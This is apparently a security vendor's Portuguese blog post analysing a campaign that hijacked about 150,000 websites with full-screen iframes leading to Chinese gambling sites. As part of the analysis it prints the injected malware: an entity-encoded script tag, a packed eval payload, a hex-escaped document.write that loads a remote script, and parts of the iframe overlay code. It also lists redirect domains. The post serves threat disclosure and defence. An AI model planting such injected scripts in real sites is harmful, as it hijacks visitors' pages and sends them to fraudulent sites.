Skip to main content
Blog
Blog Attacks

Mais de 150 mil sites afetados por sequestro de página inteira com links para sites de apostas chineses

Estimamos que aproximadamente 150.000 sites foram afetados por esta campanha. O script define um array de palavras-chave relacionadas com apostas, jogos de azar e marcas de casino em inglês e em chinês.

Mar 26, 2025 Atualizado Jul 20, 2026 5 min read
150k-websites-article-image-cover
Índice

Resumo: sequestro por iframe com codificação de entidades HTML a impulsionar marcas chinesas de apostas à escala de 150 mil sites

  • Escalou após o takedown: Todos celebram quando uma campanha ganha as manchetes de uma remoção (takedown). Os atacantes limitam-se a escalar de 35.000 para 150.000 sites, acrescentam a identidade visual da Bet365 para dar legitimidade, e trocam a ofuscação de escapes Unicode para codificação de entidades HTML, de modo a escapar aos mesmos scanners estáticos que reportaram a vitória.
  • Como se escondia: O script baseado em palavras-chave comparava os títulos com bet365, WilliamHill, 12bet, w88 e as marcas chinesas 宝威 e 太阳城, e depois escrevia um iframe em ecrã inteiro apontando para 888fff.zuizhongyj[.]com e destinos como 551007t[.]cc, t399229[.]com e W88in[.]com. A cside monitoriza injeções de iframe em tempo de execução e o comportamento dos scripts em visitantes reais, e não a imagem estática que o crawler vê.
  • Abandone o rastreio por domínios: Se acompanha esta classe de ataque apenas através de listas de domínios, abandone esse hábito já neste trimestre. A infraestrutura passou para a codificação de entidades HTML e para a imposição de viewport via mutation observer, e o único ponto de controlo que lhe resta é aquilo que o navegador do visitante realmente renderiza.

Sem tempo? Veja o bloqueio de Magecart e skimmers no navegador da cside. Cobre tudo o que se segue numa única implementação.

Em fevereiro, descobrimos um agente de ameaça a visar mais de 35.000 sites com uma injeção maliciosa de sequestro de página inteira. Continuámos a monitorizar as atividades deste agente e identificámos novas táticas e técnicas. Ampliaram significativamente as suas operações, e estimamos agora que aproximadamente 150.000 sites foram afetados por esta campanha.

O que há de novo neste ataque?

Alterações de UI/UX

O agente de ameaça reformulou ligeiramente a sua interface, mas continua a depender de uma injeção de iframe para exibir uma sobreposição em ecrã inteiro no navegador do visitante. Eis um exemplo de uma das páginas injetadas mais recentes:

Sobreposição injetada em ecrã inteiro mostrando a página de apostas reformulada pelo agente de ameaça

Ainda que os elementos visuais e o layout possam ser diferentes, o método de injeção subjacente mantém-se o mesmo.

Trecho de código a mostrar que o método de injeção se manteve igual apesar da interface reformulada

Variações sobre o mesmo tema

Outra variação deste ataque apresenta um comportamento semelhante, injetando scripts e iframes que se fazem passar por sites de apostas legítimos, como a Bet365. Em muitos casos, são reutilizados logótipos e identidade visual oficiais para tornar o ataque mais convincente.

Página falsa de apostas a fazer-se passar pela identidade visual da Bet365 para parecer legítima

Codificação de entidades HTML no código injetado

No código estático, o JavaScript malicioso é injetado da seguinte forma:

<script type="text/javascript" charset="utf-8" rel="nofollow" src="&#47;&#64;&#112;&#117;&#98;&#108;&#105;&#99;&#47;&#98;&#97;&#115;&#101;&#46;&#106;&#115;"></script>

Este é um exemplo de codificação de entidades HTML, uma forma diferente de ofuscar código. Torna o script injetado menos óbvio à primeira vista. Ao descodificar este trecho de volta para texto simples, obtemos:

<script type="text/javascript" charset="utf-8" rel="nofollow" src="/@public/base.js"></script>
Tag de script descodificada da codificação de entidades HTML a revelar o payload /@public/base.js
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('o["\\q\\a\\2\\e\\f\\9\\n\\0"]["\\p\\5\\6\\0\\9"](\'\\k\\1\\2\\5\\6\\3\\0 \\0\\j\\3\\9\\i\\7\\0\\9\\t\\0\\4\\8\\h\\u\\h\\1\\2\\5\\6\\3\\0\\7  \\1\\5\\2\\i\\7\\m\\0\\0\\3\\1\\s\\4\\4\\c\\c\\c\\b\\b\\b\\d\\g\\e\\6\\g\\m\\a\\n\\r\\j\\8\\d\\2\\a\\f\\4\\8\\e\\f\\3\\d\\8\\1\\7\\l\\k\\4\\1\\2\\5\\6\\3\\0\\l\');',31,31,'x74|x73|x63|x70|x2f|x72|x69|x22|x6a|x65|x6f|x66|x38|x2e|x75|x6d|x7a|x61|x3d|x79|x3c|x3e|x68|x6e|window|x77|x64|x67|x3a|x78|x76'.split('|'),0,{}))

Pode descodificar texto codificado com entidades HTML usando ferramentas gratuitas como o CyberChef.

Neste ataque, existe também JavaScript que se descodifica da seguinte forma:

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](
  '\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22  \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x38\x38\x38\x66\x66\x66\x2e\x7a\x75\x69\x7a\x68\x6f\x6e\x67\x79\x6a\x2e\x63\x6f\x6d\x2f\x6a\x75\x6d\x70\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'
);

Que acaba por escrever:

<script type="text/javascript" src="hxxps://888fff.zuizhongyj[.]com/jump.js"></script>

Os atacantes utilizam ofuscação para ocultar a verdadeira natureza do script perante varrimentos rápidos ou deteções menos sofisticadas.

Análise do payload final de JavaScript

Seguem-se alguns detalhes-chave do script final:

Lógica de deteção baseada em palavras-chave O script define um array de palavras-chave relacionadas com apostas, jogos de azar e marcas de casino, tanto em inglês como em chinês (por exemplo, bet365, WilliamHill, tyc, bwin, 12bet, w88, 宝威, 太阳城).

Depois, verifica a tag <title> da página atual em relação a esta lista:

var keyWord = [
  { key: [...], id: 1 },
  ...
];
b = document.getElementsByTagName("title")[0].innerText;
if (b.match(new RegExp(keyWord[i].key[j], 'ig')) != null) {
  a = keyWord[i].id;
  c = '?id=';
  ...
}

Assim que é encontrada uma correspondência, o script configura um parâmetro de ID (?id=) para utilização na fase seguinte do redirecionamento.

Imposição da tag Viewport O código inclui handleViewportTag(); mais um mutation observer e uma chamada setInterval para inserir repetidamente uma viewport adaptada a dispositivos móveis:

<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">

Isto garante que a sobreposição em ecrã inteiro é exibida corretamente em dispositivos móveis.

Sobreposição em ecrã inteiro + injeção de iframe O script do atacante cria um <div class="lbb"> que cobre todo o ecrã (através de CSS position: fixed; z-index: 9999; ...) e injeta um <iframe> em ecrã inteiro:

var web = 'https://888fff.zuizhongyj.com/' + c + a;
document.write('<iframe src="'+web+'" ... ></iframe>');

Qualquer pessoa que visite o site comprometido vê a página de apostas maliciosa em vez do conteúdo legítimo da página.

Destinos de redirecionamento

Observámos múltiplos URLs de redirecionamento durante a análise, incluindo:

hxxps://551007t[.]cc/

Página de apostas chinesa servida no destino de redirecionamento 551007t[.]cc
Segunda vista do site de apostas servido no destino de redirecionamento 551007t[.]cc

hxxps://t399229[.]com/

Página de apostas chinesa servida no destino de redirecionamento t399229[.]com

hxxps://www.wa38di[.]com:7443/other/restrictionIp?name=access-caveat

Página de acesso restrito exibida no endpoint de redirecionamento wa38di[.]com

(Já observado anteriormente noutras campanhas)

hxxps://W88in[.]com

Página de apostas chinesa servida no destino de redirecionamento W88in[.]com

hxxps://b217102[.]cc/

Página de apostas chinesa servida no destino de redirecionamento b217102[.]cc

hxxps://g977115[.]com/

Página de apostas chinesa servida no destino de redirecionamento g977115[.]com

hxxps://lucky298[.]com/

Vários destes sites bloqueiam seletivamente o tráfego proveniente de regiões específicas, o que nos leva a suspeitar que os principais alvos são utilizadores de língua chinesa na China, em Hong Kong e nos Estados Unidos.

Escala do ataque: 150 mil sites (e a contar)

Utilizando ferramentas de pesquisa públicas (por exemplo, o PublicWWW), agrupámos todos os sites que incluem o trecho de script ofuscado. No momento da nossa análise, identificámos mais de 150.000 sites únicos. Pode ver uma consulta em direto destas infeções aqui.

Este ataque mostra como os agentes de ameaça continuam a adaptar-se: expandem o seu alcance e acrescentam novas camadas de ofuscação. Ataques do lado do cliente como este estão a aumentar, com novas descobertas a surgir regularmente.

Se suspeita que o seu site pode estar afetado, reveja todos os scripts em busca de codificação oculta de entidades HTML ou injeções suspeitas de <iframe>. A vigilância contínua e as auditorias regulares ao site continuam a ser as suas melhores defesas contra ataques como estes.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitore e proteja seus scripts de terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comece grátis ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração

Quer ver isso em detalhe com um engenheiro?

Trinta minutos, no seu próprio site. Sem slides.

Agende uma demo personalizada para ver:

Como alcançar a conformidade com os requisitos 6.4.3 e 11.6.1 do PCI DSS em 1 dia
Por que scripts de terceiros são um risco de segurança para você e seus visitantes
Como monitorar vazamentos de privacidade e consentimento (RGPD, CCPA) em cada terceiro
Como conter abuso de cadastros, compartilhamento de contas e fraude de chargeback com device intelligence
Como detectar e controlar agentes de IA e bots que acessam seu site em tempo real

Prefere só mandar uma pergunta?

Procurando horários livres…

Apenas humanos de verdade. A gente saberia.

Problemas para agendar? Abrir o agendador em uma nova aba

O que você está tentando resolver?

Conte em uma linha e voltamos com algo útil, não com um discurso genérico.

Costumamos ajudar com:

Ver quais scripts de terceiros rodam no seu site
Evidências para PCI DSS 6.4.3 e 11.6.1
Bots, agentes de IA e roubo de contas

Prefere agendar um horário? Escolher um horário